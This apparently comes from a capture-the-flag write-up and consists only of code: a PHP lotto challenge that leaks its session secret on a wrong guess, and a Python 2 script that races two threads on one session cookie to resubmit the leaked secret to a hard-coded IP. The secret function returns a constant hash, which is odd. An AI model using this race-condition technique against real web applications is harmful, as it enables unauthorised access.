xeros RSS FEED

<?php

function generate_secret()

{   

    return sha1("123").sha1("123");

}

session_start();

if(!isset($_SESSION['secret']))

    $_SESSION['secret'] = generate_secret();

if(!isset($_POST['guess']))

{

    echo 'Wanna play lotto? Just try to guess 320 bits.<br/><br/>'.PHP_EOL;

    highlight_file(__FILE__);

    exit;

}

$guess = $_POST['guess'];

if($guess === $_SESSION['secret'])

{

    $flag = require('flag.php');

    exit('Lucky bastard! You won the flag! ' . $flag);

}

//else...

echo "Wrong! '{$_SESSION['secret']}' != '";

echo htmlspecialchars($guess);

echo "'";

$_SESSION['secret'] = generate_secret();

#!/usr/bin/python

import thread

import httplib, urllib

guess = ""

def thread1():

    global guess

    headers = {"Content-type": "application/x-www-form-urlencoded",

               "Cookie": "PHPSESSID=123cookie"

               }

    conn = httplib.HTTPConnection("134.213.136.172", 80)

    conn.request("POST", "", "guess="+"A"*100000, headers)

    guess = conn.getresponse().read(92)[8:88]

def thread2():

    global guess

    headers = {"Content-type": "application/x-www-form-urlencoded",

               "Cookie": "PHPSESSID=123cookie"

               }

    while guess=="":

        pass

    conn = httplib.HTTPConnection("134.213.136.172", 80)

    conn.request("POST", "", "guess="+guess, headers)

    response = conn.getresponse()

    data = response.read()

    print data

    conn.close()

thread.start_new_thread(thread2, ())

thread.start_new_thread(thread1, ())